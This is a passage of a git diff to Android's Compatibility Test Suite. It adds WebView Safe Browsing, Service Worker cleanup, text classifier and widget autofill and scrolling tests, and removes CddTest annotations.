+ + " if (success) " + JS_INTERFACE_NAME + ".unregisterSuccess();"
+ + " else console.error('unregister() was not successful');"
+ + " });"
+ + "}).catch(function(err) {"
+ + " console.error(err);"
+ + "});";
private JavascriptStatusReceiver mJavascriptStatusReceiver;
private WebViewOnUiThread mOnUiThread;
@@ -171,17 +180,34 @@
assertEquals(2, requests.size());
assertEquals(SW_URL, requests.get(0).getUrl().toString());
assertEquals(FETCH_URL, requests.get(1).getUrl().toString());
+
+ // Clean-up, make sure to unregister the Service Worker.
+ mOnUiThread.evaluateJavascript(SW_UNREGISTER_RAW_JS, null);
+ Callable<Boolean> unregisterSuccess = new Callable<Boolean>() {
+ @Override
+ public Boolean call() {
+ return mJavascriptStatusReceiver.mUnregisterSuccess;
+ }
+ };
+ PollingCheck.check("JS could not unregister Service Worker", POLLING_TIMEOUT,
+ unregisterSuccess);
}
// Object added to the page via AddJavascriptInterface() that is used by the test Javascript to
// notify back to Java if the Service Worker registration was successful.
public final static class JavascriptStatusReceiver {
public volatile boolean mRegistrationSuccess = false;
+ public volatile boolean mUnregisterSuccess = false;
@JavascriptInterface
public void registrationSuccess() {
mRegistrationSuccess = true;
}
+
+ @JavascriptInterface
+ public void unregisterSuccess() {
+ mUnregisterSuccess = true;
+ }
}
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index e3208e4..92573d8 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -29,11 +29,9 @@
import android.webkit.WebView;
import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final long TEST_TIMEOUT = 5000L;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java b/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
index 07785a4..d04fd69 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebHistoryItemTest.java
@@ -24,11 +24,9 @@
import android.webkit.WebIconDatabase;
import android.webkit.WebView;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
-@CddTest(requirement="3.4.1/H-0-1,A-0-1,T-0-1")
public class WebHistoryItemTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private final static long TEST_TIMEOUT = 10000;
private CtsTestServer mWebServer;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 863a8be..55e3c40 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -39,7 +39,6 @@
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.CddTest;
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
@@ -53,7 +52,6 @@
/**
* Tests for {@link android.webkit.WebSettings}
*/
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebSettingsTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final int WEBVIEW_TIMEOUT = 5000;
@@ -112,7 +110,6 @@
* Version/<major>.<minor> Chrome/<major>.<minor>.<branch>.<build>[ Mobile]
* Safari/<major>.<minor>
*/
- @CddTest(requirement="3.4.1/C-1-3")
public void testUserAgentString_default() {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -141,7 +138,7 @@
Log.i(LOG_TAG, String.format("Trying to match pattern %s", patternString));
final Pattern userAgentExpr = Pattern.compile(patternString);
Matcher patternMatcher = userAgentExpr.matcher(actualUserAgentString);
- assertTrue(String.format("CDD(3.4.1/C-1-3) User agent string did not match expected pattern. \nExpected " +
+ assertTrue(String.format("User agent string did not match expected pattern. \nExpected " +
"pattern:\n%s\nActual:\n%s", patternString, actualUserAgentString),
patternMatcher.find());
if (patternMatcher.group(3) != null) {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 7755436..58e59e5 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -16,13 +16,16 @@
package android.webkit.cts;
+import android.app.ActivityManager;
import android.graphics.Bitmap;
+import android.os.Build;
import android.os.Message;
import android.test.ActivityInstrumentationTestCase2;
import android.view.KeyEvent;
import android.view.ViewGroup;
import android.webkit.HttpAuthHandler;
import android.webkit.RenderProcessGoneDetail;
+import android.webkit.SafeBrowsingResponse;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceError;
@@ -34,7 +37,6 @@
import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
import android.util.Pair;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -46,7 +48,6 @@
import java.util.List;
import java.util.ArrayList;
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebViewClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final long TEST_TIMEOUT = 5000;
private static final String TEST_URL = "http://www.example.com/";
@@ -54,6 +55,9 @@
private WebViewOnUiThread mOnUiThread;
private CtsTestServer mWebServer;
+ private static final String TEST_SAFE_BROWSING_URL =
+ "chrome://safe-browsing/match?type=malware";
+
public WebViewClientTest() {
super("android.webkit.cts", WebViewCtsActivity.class);
}
@@ -582,6 +586,12 @@
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
+ if (Build.SUPPORTED_64_BIT_ABIS.length == 0 &&
+ getActivity().getSystemService(ActivityManager.class).isLowRamDevice()) {
+ // Renderer process crashes can only be handled when multiprocess is enabled,
+ // which is not the case for 32-bit lowram devices.
+ return;
+ }
final MockWebViewClient webViewClient = new MockWebViewClient();
mOnUiThread.setWebViewClient(webViewClient);
mOnUiThread.loadUrl("chrome://kill");
@@ -594,6 +604,53 @@
assertFalse(webViewClient.didRenderProcessCrash());
}
+ public void testOnSafeBrowsingHit() throws Throwable {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+ final SafeBrowsingBackToSafetyClient backToSafetyWebViewClient =
+ new SafeBrowsingBackToSafetyClient();
+ mOnUiThread.setWebViewClient(backToSafetyWebViewClient);
+ mOnUiThread.getSettings().setSafeBrowsingEnabled(true);
+
+ mWebServer = new CtsTestServer(getActivity());
+ String url = mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL);
+ mOnUiThread.loadUrlAndWaitForCompletion(url);
+ final String ORIGINAL_URL = mOnUiThread.getUrl();
+
+ if (mOnUiThread.getSettings().getSafeBrowsingEnabled()) {
+ assertEquals(0, backToSafetyWebViewClient.hasOnReceivedErrorCode());
+ mOnUiThread.loadUrlAndWaitForCompletion(TEST_SAFE_BROWSING_URL);
+
+ assertEquals(TEST_SAFE_BROWSING_URL,
+ backToSafetyWebViewClient.getOnSafeBrowsingHitRequest().getUrl().toString());
+ assertTrue(backToSafetyWebViewClient.getOnSafeBrowsingHitRequest().isForMainFrame());
+
+ // Back to safety should produce a network error
+ assertEquals(WebViewClient.ERROR_UNSAFE_RESOURCE,
+ backToSafetyWebViewClient.hasOnReceivedErrorCode());
+
+ // Check that we actually navigated backward
+ assertEquals(ORIGINAL_URL, mOnUiThread.getUrl());
+ }
+
+ final SafeBrowsingProceedClient proceedWebViewClient = new SafeBrowsingProceedClient();
+ mOnUiThread.setWebViewClient(proceedWebViewClient);
+
+ mOnUiThread.getSettings().setSafeBrowsingEnabled(true);
+ if (mOnUiThread.getSettings().getSafeBrowsingEnabled()) {
+ assertEquals(0, proceedWebViewClient.hasOnReceivedErrorCode());
+ mOnUiThread.loadUrlAndWaitForCompletion(TEST_SAFE_BROWSING_URL);
+
+ assertEquals(TEST_SAFE_BROWSING_URL,
+ proceedWebViewClient.getOnSafeBrowsingHitRequest().getUrl().toString());
+ assertTrue(proceedWebViewClient.getOnSafeBrowsingHitRequest().isForMainFrame());
+
+ // Check that we actually proceeded
+ assertEquals(TEST_SAFE_BROWSING_URL, mOnUiThread.getUrl());
+ }
+ }
+
private void requireLoadedPage() throws Throwable {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -813,4 +870,48 @@
return true;
}
}
+
+ private class SafeBrowsingBackToSafetyClient extends MockWebViewClient {
+ private WebResourceRequest mOnSafeBrowsingHitRequest;
+ private int mOnSafeBrowsingHitThreatType;
+
+ public WebResourceRequest getOnSafeBrowsingHitRequest() {
+ return mOnSafeBrowsingHitRequest;
+ }
+
+ public int getOnSafeBrowsingHitThreatType() {
+ return mOnSafeBrowsingHitThreatType;
+ }
+
+ @Override
+ public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
+ int threatType, SafeBrowsingResponse response) {
+ // Immediately go back to safety to return the network error code
+ mOnSafeBrowsingHitRequest = request;
+ mOnSafeBrowsingHitThreatType = threatType;
+ response.backToSafety(/* report */ true);
+ }
+ }
+
+ private class SafeBrowsingProceedClient extends MockWebViewClient {
+ private WebResourceRequest mOnSafeBrowsingHitRequest;
+ private int mOnSafeBrowsingHitThreatType;
+
+ public WebResourceRequest getOnSafeBrowsingHitRequest() {
+ return mOnSafeBrowsingHitRequest;
+ }
+
+ public int getOnSafeBrowsingHitThreatType() {
+ return mOnSafeBrowsingHitThreatType;
+ }
+
+ @Override
+ public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
+ int threatType, SafeBrowsingResponse response) {
+ // Proceed through Safe Browsing warnings
+ mOnSafeBrowsingHitRequest = request;
+ mOnSafeBrowsingHitThreatType = threatType;
+ response.proceed(/* report */ true);
+ }
+ }
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index f5b9014..dd081ff 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -18,6 +18,7 @@
import android.content.ContentResolver;
import android.content.Context;
+import android.content.ContextWrapper;
import android.content.res.AssetManager;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
@@ -30,6 +31,7 @@
import android.os.Bundle;
import android.os.CancellationSignal;
import android.os.Handler;
+import android.os.LocaleList;
import android.os.Looper;
import android.os.Message;
import android.os.ParcelFileDescriptor;
@@ -50,14 +52,19 @@
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
import android.webkit.ConsoleMessage;
import android.webkit.CookieSyncManager;
import android.webkit.DownloadListener;
import android.webkit.JavascriptInterface;
+import android.webkit.SafeBrowsingResponse;
import android.webkit.ValueCallback;
import android.webkit.WebBackForwardList;
import android.webkit.WebChromeClient;
import android.webkit.WebIconDatabase;
+import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebView.HitTestResult;
@@ -69,7 +76,6 @@
import android.webkit.cts.WebViewOnUiThread.WaitForProgressClient;
import android.widget.LinearLayout;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -82,6 +88,9 @@
import java.io.FileNotFoundException;
import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URL;
+
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
@@ -94,7 +103,9 @@
import java.util.concurrent.FutureTask;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
import java.util.HashMap;
+import java.util.List;
import java.util.Map;
import org.apache.http.Header;
@@ -104,7 +115,6 @@
import org.apache.http.util.EncodingUtils;
import org.apache.http.util.EntityUtils;
-@CddTest(requirement="3.4.1/H-0-1,T-0-1,A-0-1")
public class WebViewTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
public static final long TEST_TIMEOUT = 20000L;
private static final int INITIAL_PROGRESS = 100;
@@ -2611,6 +2621,62 @@
assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ public void testSetSafeBrowsingWhitelistWithMalformedList() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ List whitelist = new ArrayList<String>();
+ // Protocols are not supported in the whitelist
+ whitelist.add("http://google.com");
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean success) {
+ assertFalse(success);
+ resultLatch.countDown();
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
+ public void testSetSafeBrowsingWhitelistWithValidList() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ List whitelist = new ArrayList<String>();
+ whitelist.add("safe-browsing");
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean success) {
+ assertTrue(success);
+ resultLatch.countDown();
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+
+ final CountDownLatch resultLatch2 = new CountDownLatch(1);
+ mOnUiThread.setWebViewClient(new WebViewClient() {
+ @Override
+ public void onPageFinished(WebView view, String url) {
+ resultLatch2.countDown();
+ }
+
+ @Override
+ public void onSafeBrowsingHit(WebView view, WebResourceRequest request, int threatType,
+ SafeBrowsingResponse callback) {
+ Assert.fail("Should not invoke onSafeBrowsingHit");
+ }
+ });
+
+ mOnUiThread.loadUrl("chrome://safe-browsing/match?type=malware");
+
+ // Wait until page load has completed
+ assertTrue(resultLatch2.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
@UiThreadTest
public void testGetWebViewClient() throws Exception {
if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -2648,6 +2714,99 @@
assertSame(client2, webView.getWebChromeClient());
}
+ @UiThreadTest
+ public void testSetCustomTextClassifier() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ class CustomTextClassifier implements TextClassifier {
+ @Override
+ public TextSelection suggestSelection(
+ CharSequence text,
+ int startIndex,
+ int endIndex,
+ LocaleList defaultLocales) {
+ return new TextSelection.Builder(0, 1).build();
+ }
+
+ @Override
+ public TextClassification classifyText(
+ CharSequence text,
+ int startIndex,
+ int endIndex,
+ LocaleList defaultLocales) {
+ return new TextClassification.Builder().build();
+ }
+ };
+
+ TextClassifier classifier = new CustomTextClassifier();
+ WebView webView = new WebView(getActivity());
+ webView.setTextClassifier(classifier);
+ assertSame(webView.getTextClassifier(), classifier);
+ }
+
+ private static class MockContext extends ContextWrapper {
+ private boolean mGetApplicationContextWasCalled;
+
+ public MockContext(Context context) {
+ super(context);
+ }
+
+ public Context getApplicationContext() {
+ mGetApplicationContextWasCalled = true;
+ return super.getApplicationContext();
+ }
+
+ public boolean wasGetApplicationContextCalled() {
+ return mGetApplicationContextWasCalled;
+ }
+ }
+
+ public void testStartSafeBrowsingUseApplicationContext() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ final MockContext ctx = new MockContext(getActivity());
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.startSafeBrowsing(ctx, new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean value) {
+ assertTrue(ctx.wasGetApplicationContextCalled());
+ resultLatch.countDown();
+ return;
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
+ public void testStartSafeBrowsingWithNullCallbackDoesntCrash() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ WebView.startSafeBrowsing(getActivity().getApplicationContext(), null);
+ }
+
+ public void testStartSafeBrowsingInvokesCallback() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ WebView.startSafeBrowsing(getActivity().getApplicationContext(),
+ new ValueCallback<Boolean>() {
+ @Override
+ public void onReceiveValue(Boolean value) {
+ assertTrue(Looper.getMainLooper().isCurrentThread());
+ resultLatch.countDown();
+ return;
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
private void savePrintedPage(final PrintDocumentAdapter adapter,
final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
@@ -2844,4 +3003,17 @@
return mOnScaleChangedCalled;
}
}
+
+ public void testGetSafeBrowsingPrivacyPolicyUrl() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ assertNotNull(WebView.getSafeBrowsingPrivacyPolicyUrl());
+ try {
+ new URL(WebView.getSafeBrowsingPrivacyPolicyUrl().toString());
+ } catch (MalformedURLException e) {
+ Assert.fail("The privacy policy URL should be a well-formed URL");
+ }
+ }
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java b/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
index 25f61db..b4e4d04 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
@@ -21,10 +21,8 @@
import android.webkit.WebView;
import android.webkit.WebView.WebViewTransport;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
-@CddTest(requirement="3.4.1/H-0-1,A-0-1,T-0-1")
public class WebView_WebViewTransportTest
extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index c6d85c6..ec104d8 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -37,6 +37,6 @@
LOCAL_PACKAGE_NAME := CtsWidgetTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index f84c222..2eb0b86 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -14,7 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Widget test cases">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWidgetTestCases.apk" />
diff --git a/tests/tests/widget/res/layout/relative_layout_bidi.xml b/tests/tests/widget/res/layout/relative_layout_bidi.xml
new file mode 100644
index 0000000..de4ddd7
--- /dev/null
+++ b/tests/tests/widget/res/layout/relative_layout_bidi.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent" >
+
+ <RelativeLayout
+ android:id="@+id/relative_sublayout_bidi"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+
+ <TextView
+ android:layout_width="100dp"
+ android:layout_height="100dp"
+ android:layout_marginStart="60dp"
+ android:layout_marginEnd="20dp" />
+ </RelativeLayout>
+
+</RelativeLayout>
diff --git a/tests/tests/widget/res/layout/tabhost_focus.xml b/tests/tests/widget/res/layout/tabhost_focus.xml
new file mode 100644
index 0000000..1229454
--- /dev/null
+++ b/tests/tests/widget/res/layout/tabhost_focus.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <Button
+ android:id="@+id/before_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Before Button"/>
+
+ <TabHost
+ android:id="@android:id/tabhost"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TabWidget
+ android:id="@android:id/tabs"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"></TabWidget>
+
+ <FrameLayout
+ android:id="@android:id/tabcontent"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <LinearLayout
+ android:id="@+id/tab1"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/tab1_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Tab 1 Content" />
+
+ </LinearLayout>
+
+ <LinearLayout
+ android:id="@+id/tab2"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/tab2_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Tab 2 Content" />
+ </LinearLayout>
+ </FrameLayout>
+ </LinearLayout>
+ </TabHost>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 612793a..51e6102 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -854,6 +854,22 @@
expectedCheckedItems, mListView.getCheckedItemPositions());
}
+ @Test
+ @UiThreadTest
+ public void testCheckItemCount() throws Throwable {
+ final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+ final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+ android.R.layout.simple_list_item_1, items);
+ mListView.setAdapter(adapter);
+ mListView.setChoiceMode(AbsListView.CHOICE_MODE_MULTIPLE);
+ mListView.setItemChecked(0, true);
+ mListView.setItemChecked(1, true);
+ assertEquals(2, mListView.getCheckedItemCount());
+
+ mListView.setAdapter(adapter);
+ assertEquals(0, mListView.getCheckedItemCount());
+ }
+
@MediumTest
@Test
public void testCheckedItemsUnderNoneChoiceMode() throws Throwable {
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
index 8002e5b..ee6dc39 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
@@ -41,6 +41,7 @@
import android.widget.TextView;
import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
@@ -75,6 +76,11 @@
private ArrayAdapter<String> mCountriesAdapter;
private int mRowHeightPx;
+ private static class ListScrollPosition {
+ public int mFirstVisiblePosition;
+ public int mFirstViewVerticalOffset;
+ }
+
@Before
public void setup() throws Throwable {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -569,14 +575,40 @@
verifyListScrollAndEmulateFlingGesture(false);
}
+ private ListScrollPosition getCurrentScrollPosition() {
+ ListScrollPosition result = new ListScrollPosition();
+ result.mFirstVisiblePosition = mListView.getFirstVisiblePosition();
+ result.mFirstViewVerticalOffset = mListView.getChildAt(0).getTop();
+ return result;
+ }
+
@Test
public void testListFlingWithZeroVelocity() throws Throwable {
mListView.setVelocityScale(0.0f);
- final CountDownLatch flingLatch = new CountDownLatch(1);
+ final CountDownLatch flingLatch = new CountDownLatch(2);
mListView.setOnScrollListener(new ScrollIdleListListener(flingLatch));
- final int flingAmount =
- CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+
+ final ListScrollPosition[] scrollPositionAfterUpEvent =
+ new ListScrollPosition[1];
+ final EventInjectionListener eventInjectionListener =
+ new EventInjectionListener() {
+ @Override
+ public void onDownInjected(int xOnScreen, int yOnScreen) {
+ }
+
+ @Override
+ public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
+ }
+
+ @Override
+ public void onUpInjected(int xOnScreen, int yOnScreen) {
+ scrollPositionAfterUpEvent[0] = getCurrentScrollPosition();
+ flingLatch.countDown();
+ }
+ };
+ CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false,
+ eventInjectionListener);
assertTrue("Timed out while waiting for the fling to complete",
flingLatch.await(5, TimeUnit.SECONDS));
@@ -584,13 +616,12 @@
// Since our velocity scale is 0, we expect that the emulated fling gesture didn't
// result in any fling, but just a simple scroll that stopped at the ACTION_UP
// event.
- final int expectedTopOffsetAtFlingEnd = -flingAmount;
- final int expectedBottomOffsetAtFlingEnd = mListView.getHeight() - flingAmount;
- final int expectedTopPositionAtFlingEnd = expectedTopOffsetAtFlingEnd / mRowHeightPx;
- final int expectedBottomPositionAtFlingEnd = expectedBottomOffsetAtFlingEnd / mRowHeightPx;
+ final ListScrollPosition scrollPositionAtRest = getCurrentScrollPosition();
- assertEquals(expectedTopPositionAtFlingEnd, mListView.getFirstVisiblePosition());
- assertEquals(expectedBottomPositionAtFlingEnd, mListView.getLastVisiblePosition());
+ assertEquals("First visible position", scrollPositionAtRest.mFirstVisiblePosition,
+ scrollPositionAfterUpEvent[0].mFirstVisiblePosition);
+ assertEquals("First view offset", scrollPositionAtRest.mFirstViewVerticalOffset,
+ scrollPositionAfterUpEvent[0].mFirstViewVerticalOffset);
}
private static class LargeContentAdapter extends BaseAdapter {
diff --git a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
index 7595c98..4350103 100644
--- a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
@@ -29,8 +29,8 @@
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.database.DataSetObserver;
-import android.support.test.annotation.UiThreadTest;
import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
@@ -402,7 +402,20 @@
*/
@Test
public void testCreateFromResource() {
- ArrayAdapter.createFromResource(mContext, R.array.string, R.layout.simple_spinner_item);
+ final ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
+ R.array.string, R.layout.simple_spinner_item);
+ final CharSequence[] staticOptions = adapter.getAutofillOptions();
+ assertEquals(3, staticOptions.length);
+ assertEquals("Test String 1", staticOptions[0]);
+ assertEquals("Test String 2", staticOptions[1]);
+ assertEquals("Test String 3", staticOptions[2]);
+
+ // Make sure values set dynamically wins.
+ adapter.setAutofillOptions("Dynamic", "am I");
+ final CharSequence[] dynamicOptions = adapter.getAutofillOptions();
+ assertEquals(2, dynamicOptions.length);
+ assertEquals("Dynamic", dynamicOptions[0]);
+ assertEquals("am I", dynamicOptions[1]);
ArrayAdapter.createFromResource(mContext, R.array.string, INVALID_ID);
}
diff --git a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
index 42c3269..4df0c4a 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
@@ -123,6 +123,23 @@
assertFalse(baseAdapter.isEmpty());
}
+ @Test
+ public void testGetAutofillOptions() {
+ MockBaseAdapter baseAdapter = new MockBaseAdapter();
+ assertNull(baseAdapter.getAutofillOptions());
+
+ baseAdapter.setAutofillOptions("single");
+ CharSequence[] single = baseAdapter.getAutofillOptions();
+ assertEquals(1, single.length);
+ assertEquals("single", single[0]);
+
+ baseAdapter.setAutofillOptions("mult1", "mult2");
+ CharSequence[] multiple = baseAdapter.getAutofillOptions();
+ assertEquals(2, multiple.length);
+ assertEquals("mult1", multiple[0]);
+ assertEquals("mult2", multiple[1]);
+ }
+
private static class MockBaseAdapter extends BaseAdapter {
private int mCount = 0;
